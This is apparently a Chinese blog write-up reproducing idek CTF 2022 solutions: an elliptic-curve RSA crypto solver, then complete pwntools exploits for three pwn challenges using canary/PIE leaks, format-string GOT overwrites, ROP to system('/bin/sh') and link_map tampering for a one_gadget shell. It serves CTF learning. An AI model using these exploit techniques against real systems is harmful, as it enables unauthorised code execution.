Home

# idek2022 部分复现，主要参考 r3kapig 战队的 wp 进行学习和调试

# Crypto

# ecrsa

本题是在有限域上的椭圆曲线，即

y2≡x3+ax+bmod  ny^2\equiv x^3+ax+b\mod{n}

题目给出了M×eM\times e 和P×eP\times e，其中e=3e=3，相当于在加法群下算3M3M 和3T3T，考虑使用3T3T 来计算aa、bb 和nn

椭圆曲线上的加法，假设P(x1,y1)P(x_1,y_1) 和Q(x2,y2)Q(x_2,y_2) 是椭圆曲线上的两个点，则(P+Q)(x3,y3)(P+Q)(x_3,y_3) 计算如下：

λ={y2−y1x2−x1,P≠Q3x2+a2y,P=Q\lambda= \begin{cases} \frac{y_2-y_1}{x_2-x_1},\quad P\neq Q\\ \frac{3x^2+a}{2y},\quad P=Q \end{cases}

则

x3=λ2−x1−x2y3=λ(x1−x3)−y1x_3=\lambda^2-x_1-x_2\\ y_3=\lambda(x_1-x_3)-y_1

注意到计算过程与aa 无关，所以我们可以构造关于aa 的多项式函数

根据MeMe 和PePe 在椭圆曲线上，有

yPe2≡xPe3+axPe+bmod  nyMe2≡xMe3+axMe+bmod  ny_{Pe}^2\equiv x_{Pe}^3+ax_{Pe}+b\mod{n}\\ y_{Me}^2\equiv x_{Me}^3+ax_{Me}+b\mod{n}

两式作差得到

f(a)=(xPe−xMe)a+(xPe3−xMe3)−(yPe2−yMe2)≡0mod  nf(a)=(x_{Pe}-x_{Me})a+(x_{Pe}^3-x_{Me}^3)-(y_{Pe}^2-y_{Me}^2)\equiv 0\mod{n}

由于不知道nn 是多少，所以我们先在有理数域上求f(a)=0f(a)=0 时aa 的值，而f(a)f(a) 是一个线性函数，很容易求出a=a∗a=a^*

然后考虑求nn，按照椭圆曲线的加法法则，先利用加法求出有理数域上xPex_{Pe} 和yPey_{Pe} 的值，根据上面，知道这可以表示为关于aa 的多项式，即

X1(a)Y1(a)≡xPemod  nX2(a)Y2(a)≡yPemod  n\frac{X_1(a)}{Y_1(a)}\equiv x_{Pe}\mod{n}\\ \frac{X_2(a)}{Y_2(a)}\equiv y_{Pe}\mod{n}

然后变形得到多项式函数

f1(a)=X1(a)−Y1(a)xPe≡0mod  nf2(a)=X2(a)−Y2(a)xPe≡0mod  nf_1(a)=X_1(a)-Y_1(a)x_{Pe}\equiv 0\mod{n}\\ f_2(a)=X_2(a)-Y_2(a)x_{Pe}\equiv 0\mod{n}

然后把a∗a^* 带入f1f_1 和f2f_2，得到f1(a∗)=k1nf_1(a^*)=k_1n 和f2(a∗)=k2nf_2(a^*)=k_2n

那么n=gcd⁡(f1(a∗),f2(a∗))n=\gcd(f_1(a^{*}),f_2(a^{*}))

而bb 也可以利用MeMe 或PePe 和a∗a^* 算出来

注意由于是在有理数域上算的，所以f1(a∗)f_1(a^*) 和f2(a∗)f_2(a^*) 可能是分数，先记作xy\frac{x}{y}，由于xy≡0mod  n\frac{x}{y}\equiv 0\mod{n}，而yy 存在逆元要满足gcd⁡(y,n)=1\gcd(y,n)=1，所以只能是x∣nx|n，所以最后只需要用分子来求gcd⁡\gcd 即可

得到nn 之后，已知e,de,d，很常见的分解p,qp,q 套路了。然后分别在GF(p)GF(p) 和GF(q)GF(q) 上求ECCECC 的阶，而Zmod(n)Zmod(n) 下的阶就等于这两个阶相乘

最后就是椭圆曲线上的 RSA 解密，类别普通的即可。只不过求ϕ(n)=(p−1)(q−1)\phi(n)=(p-1)(q-1) 变成了求椭圆曲线上的阶

from Crypto.Util.number import long_to_bytes
from gmpy2 import *
def add(P, Q):
    x0, y0 = P
    x1, y1 = Q
    if P == Q:
        lmd = (3*x0**2+a)/(2*y0)
    else:
        lmd = (y1-y0) / (x1-x0)
    x2 = lmd**2 - x1 - x0
    y2 = lmd*(x0 - x2) - y0
    return x2, y2
R.<a> = PolynomialRing(ZZ)  #定义整数环上的多项式 R，其中 a 是变量
P = (ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", 'big')), 2)
P2 = add(P, P)
P3 = add(P, P2)
f = str(P3[0]).split('/') + str(P3[1]).split('/') # f[0]=X1  f[1]=Y1 f[2]=X2 f[3]=Y2
f = [R(i) for i in f]
Te = (,)
Me = (,)
f1 = f[0] - f[1] * Te[0] # f 是多项式，f (x) 表示 a 取 x 时函数的值
f2 = f[2] - f[3] * Te[1]
f3 = Te[0]**3 + a*Te[0] - Te[1]**2-(Me[0]**3 + a*Me[0] - Me[1]**2)
#print(f3) f3=xa-y=0 => a=y/x
a_=
#assert Zmod(n)(a0)==a1
k1n=int(str(f1(a_)).split('/')[0])  #取分子部分
k2n=int(str(f2(a_)).split('/')[0])
n=ZZ(gcd(k1n,k2n))
d=
a=Zmod(n)(a_)
b=(Te[1]**2-Te[0]**3-a*Te[0])%n
print(n)
import random
def getpq(n,e,d):
    while True:
        k = e * d - 1
        g = random.randint(0, n)
        while k%2==0:
            k=k//2
            temp=gmpy2.powmod(g,k,n)-1
            if gmpy2.gcd(temp,n)>1 and temp!=0:
                p=gmpy2.gcd(temp,n)
                if n%p==0:
                    q=n//p
                    return p,q
p,q=getpq(n,3,d)
E1=EllipticCurve(GF(p),[a,b])
E2=EllipticCurve(GF(q),[a,b])
E=EllipticCurve(Zmod(n),[a,b])
order=E1.order()*E2.order()
d_=invert(3,order)
print(long_to_bytes(ZZ((E(Me)*d_)[0])))
# PWN


# typop


题目分析：保护全开，但对题目进行逆向分析后，发现只有栈溢出漏洞可以使用。所以要想办法绕过保护


    

  • 

    Canary：考虑泄露 canary 的值，canary 在栈中的布局
    

    | canary(8bytes)|
| old rbp       | <- rbp

    

    • 

  • 

    PIE 随机地址保护 (程序每次运行的基址都不一样)：考虑泄露返回地址的地址，由于程序的偏移是不变的，通过 IDA 逆向出返回地址相对于整个程序的偏移得到基地址就可以获得 win  运行时的地址
    

    • 

  • 

    传参：由于是 64 位的程序，只能通过寄存器传参 (rdi rsi rdx r10 r8 r9)，先考虑 ROP，发现 ROP 里没有可以修改 rdx 的指令。但用 gdb 本地调试 chall  发现在 getFeedback  函数中，rbp-old_rbp=0x10，分布如下
    

    | old_rbp |<- rbp
| ret addr|
|         |<-old_rbp

    

    而在 win  函数中分析发现对 filename  的赋值是需要通过栈来中转的，所以考虑进行栈的布局，由于参数分别需要通过栈上的 rbp-0x64 、 rbp-0x68 、 rbp-0x6C  来中转，所以最后考虑如下的栈布局
    

    | old_rbp+0x6C                     | <- rbp
| ret win(skip the satack operate) |
| 0xa000000l000000                 | <- old_rbp
| 0x.......f000000                 | <- old_rbp+0x6C-0x64
|                                  |
             ...
|                                  |<-  old_rbp+0x6C

    

    • 









from pwn import *
p=remote("192.168.230.134",10001)
context.log_level='debug'
r=lambda x: p.recv(x)
ra=lambda: p.recvall()
rl=lambda: p.recvline(keepends=True)
ru=lambda  x: p.recvuntil(x,drop=True)
sl=lambda x:p.sendline(x)
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
ia=lambda :p.interactive()
li=lambda x:log.info(x)
sla('Do you want to complete a survey?','y')
sa('Do you like ctf?','a'*11)
ru('a'*10)
canary=u64(p.recv(8).ljust(8,b'\x00'))-0x61 #接收 8 字节的 canary 并左对齐 8 个字节，不足用 \x00 补齐
info('canary->'+hex(canary))
stackaddr=u64(p.recv(6).ljust(8,b'\x00')) #地址只有 6 个字节，但需要 8 字节对齐
sa('Can you provide some extra feedback?',b'a'*10+p64(canary)) #还原栈的 canary，绕过 canary 保护
info('stack->'+hex(stackaddr))
sla('Do you want to complete a survey?','y')
sa('Do you like ctf?',b'a'*0x1a)
ru('a'*0x1a)
baseaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x1447 #获得返回地址的值
info('base->'+hex(baseaddr))
win_offset=0x1273
winaddr=win_offset+baseaddr
'''
64位是寄存器传参，但ROP中找不到合适的来对rdx赋值，所以考虑栈布局
'''
sa('Can you provide some extra feedback?',b'a'*10+p64(canary)+p64(stackaddr+0x6c)+p64(winaddr)+b'a\x00\x00\x00'+b'l\x00\x00\x00'+b'f\x00\x00\x00')
ia()
# Sprinter


# 环境搭建


./libc-2.31.so #查看 libc 的 linux 版本 Ubuntu GLIBC 2.31-0ubuntu9.9
#利用 glibc-all-in-one 下载 2.31-0ubuntu9.9_amd64
#复制 2.31-0ubuntu9.9_amd64 目录下的 ld-2.31.so 到 vuln 所在的目录
#替换 libc 文件
patchelf --replace-needed libc.so.6 ./libc-2.31.so ./vuln
#替换 ld 文件
patchelf --set-interpreter ./ld-2.31.so ./vuln
# 查看配置情况
ldd vuln
# 解题过程


首先正常运行查看 sprintf  的参数情况




s_addr:0x00617325 '%sa\x00'
sprintf(s_addr,"%sa",[s_addr]="%sa") // 注意读取字符串的时候不会读取 \x00
用"%sa"替换"%s"得到"%saa"，所以把"%saa"写入地址0x00617325处，然后"\x00"就被"a"覆盖了，成功绕过。
之后就接上由于"\x00"断开带有格式化字符的输入，然后继续解析，


通过分析得知当调用 sprintf  的时候，保存了其返回地址的栈帧就在 s  所在的栈帧上面，所以为了复写返回地址，需要在栈上写入保存返回地址的栈帧


先看 exp


from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
def qwq(name):
  log.success(hex(name))
def debug(point):
  gdb.attach(r,'b '+str(point))
r = process('./vuln')
# r = remote('sprinter.chal.idek.team',1337)
elf =ELF('./vuln')
#libc = ELF('./libc-2.31.so')
libc=ELF('./libc-2.31.so')
r.recvuntil(b"Enter your string into my buffer, located at ")
stack_addr = int(r.recvuntil(b':')[:-1],16)
target_addr = stack_addr-8
print(hex(target_addr))
#debug("sprintf")
#debug(" *0x40124A")
#gdb.attach(r)
# payload = b'%sa\x00%'+b'b'*0x3+b'c%9$hhn'+b'bbbbbbb'+b'%33$hhn'
payload = b'%sa\x00%'+b'b'*0x3+b'c%31$hhn'+b'%bbbbbbbbc'+b'%33$hhn'+b'%'+b'b'*(0x30-5)+b'c%34$n'+b'%'+b'b'*(0x26+0xc-2)+b'c%32$hhn'
payload=payload.ljust(0xd0,b'\x00')
payload=payload+p64(target_addr)+p64(elf.got["strchr"])+p64(elf.got["strchr"]+1)+p64(elf.got["strchr"]+2)
#printf_plt = 0x4010d0
#pop5_ret = 0x401366
#debug(' *0x40124A')
#debug(' *0x401296')
r.sendline(payload)
#debug(" *0x401296")
#r.recvuntil(b'(')
#pause()
pop_rdi = 0x0000000000401373
leak_payload = p64(pop_rdi)+p64(elf.got["fgets"])+p64(elf.plt["printf"])+p64(0x40122F)
debug(' *0x40124A')
r.sendline(leak_payload)
pause()
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-libc.sym["fgets"]
system_addr = libc_base+libc.sym["system"]
#pause()
r.sendline(b'/bin/sh\x00'+b'a'*0x10+p64(pop_rdi+1)+p64(pop_rdi)+p64(stack_addr)+p64(system_addr))
qwq(stack_addr)
qwq(libc_base)
r.interactive()
# 第一处 payload 的解释


查看一下 payload  里面具体更改的参数在哪里




更改之后




这样就可以通过格式化字符串来控制程序的执行流，比如返回地址， strchr  的 got 表的里的内容。比如把 sprintf  的返回地址修改为 0x401209  即重新回到 vuln  函数，修改 strchr  的 got 表为 ROP 的地址 ( pop r15,ret )


# 第二处 payload 的解释




# 第三处 payload


从第二处 payload 获得 libc 的基址后就可以仿照第二处 payload 的原理来 get shell 了


# reality


# 程序动态链接的基本过程


    

  • GOT [0] --> 此处存放的是 .dynamic 的地址
    • 

  • GOT [1] --> 此处存放的是 link_map 的地址
    • 

  • GOT [2] --> 此处存放的是 dl_runtime_resolve 函数的地址
    • 

  • GOT [3] --> 与 PLT [1] 对应，存放的是与该表项 (PLT [1]) 要解析的函数相关地址
    • 



link_map  的结构


struct link_map{
    l_addr;
    l_name;
    l_ld;
    l_next;
    l_prev;
    l_real;
    l_ns;
    l_libname;
    l_info;
    l_phdr;
    l_entry;
    l_phnum;
    l_searchlist={
        r_list;
        r_nlist;
    }
}
其中 l_addr  保存程序的基地址即 textaddr ，用处是了让 libc  库函数可以把真实地址写回到 func.got.plt  处而设计的。而地址的确定就是使用 text+func.got.plt在text中的偏移 确定的






而这题这个 link_map  的地址就在栈上




可以看到它后面的 l_addr  就是程序的基地址 (调试可以得到，比对后就可以确认)


而在程序中各个 libc 函数的偏移如下




因此 free 的实际地址会被写回到 textaddr+0x4018  的地方


而在程序中 free  函数在 printf之后 ，而 printf  存在格式化字符串漏洞，在正常模式下调试程序，可以发现 _Exit  函数结束后就是 main  的地址了，所以想法是改变 _Exit  的 .got.plt  处的内容使得程序可以一直循环执行。观察到 _Exit  与 free  的偏移差 0x38 ，所以我们可以修改在栈上的 link_map  指向的 l_addr  为 textaddr+0x38 ，这样 free  复写 .got.plt  时写的是 textaddr+0x38+0x4018=textaddr+0x4050


# 解法


from pwn import *
leak = lambda name,addr: log.success('{0}\t--->\t{1}'.format(name, hex(addr)))
binary = './vuln'
libc = "./libc-2.31.so"
context.terminal = ['tmux', 'splitw', '-h']
# context.binary = binary
context.log_level='debug'
# p = process(binary)
p = remote('relativity.chal.idek.team', 1337)
elf = ELF(binary, checksec=False)
libc = ELF(libc, checksec=False)
# link_map->l_addr += 0x38, write free at exit@got
p.sendlineafter("?", "%{}c%30$hhn||%11$p||%15$p||%13$p".format(0x38))
p.recvuntil("0x")
libc_base = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 243
leak("libc_base", libc_base)
p.recvuntil("0x")
text_base = int(p.recv(12), 16) - 0x000134A
leak("text_base", text_base)
p.recvuntil("0x")
stack = int(p.recv(12), 16)
leak("stack", stack)
free_got = text_base + 0x4018
main = text_base + 0x000134A
one = libc_base + 0xe3b01  #libc 中的一个 gadget，执行 execve ("/bin/sh")
# a pointer in stack to free@got
p.sendlineafter("?", "%{}c%34$hn".format((stack&0xffff)-0x8*4)) 
p.sendlineafter("?", "%{}c%53$hn".format((free_got&0xffff)))
# free@got == main
p.sendlineafter("?", "%{}c%55$hn".format((main&0xffff)))
# exit@got == one_gadget
p.sendlineafter("?", "%{}c%65$hhn".format(((free_got+0x30+8)&0xff))) #直接改上一次在栈上的 free@got 为 exit@got
p.sendlineafter("?", "%{}c%67$hn".format(((one)&0xffff)))
# recover link_map
p.sendlineafter("?", "%66$hhn%{}c%77$hhn".format((free_got+0x30+8+2)&0xffff))
p.sendlineafter("?", "%{}c%79$hn".format(((one>>16)&0xffff)))
# recover free@got, pwn!
p.sendlineafter("?", "%{}c%89$hhn".format(((free_got)&0xff)))  #跳过 free 即把 free@got 改为一个没什么用的指令的地址
p.sendlineafter("?", "%{}c%91$hn".format(((text_base+0x1030)&0xffff))) #出发 gadget
p.interactive()
# 第一处 payload


一方面泄漏程序的基地址和 libc  的基地址，并且是程序重复执行


# 第二处 payload


反复通过偏移更改地址为自己想要的内容




# 第三处 payload




# 第四处 payload




# 第 5 次 pyload




# 第 6 次 payload




第 2-6 次都是一样的操作思路，就是通过观察栈上的内容分布，来更改后几个字节，达到控制控制流的目的


      

          
      

  


   


    

  
    
      
    
    Edited on
    
  



      


  
  
Give me a cup of [coffee]~(￣▽￣)~*

  

      
      

        岚沐 WeChat Pay
        
WeChat Pay

      

      
      

        岚沐 Alipay
        
Alipay

      

      
      

        岚沐 PayPal
        
PayPal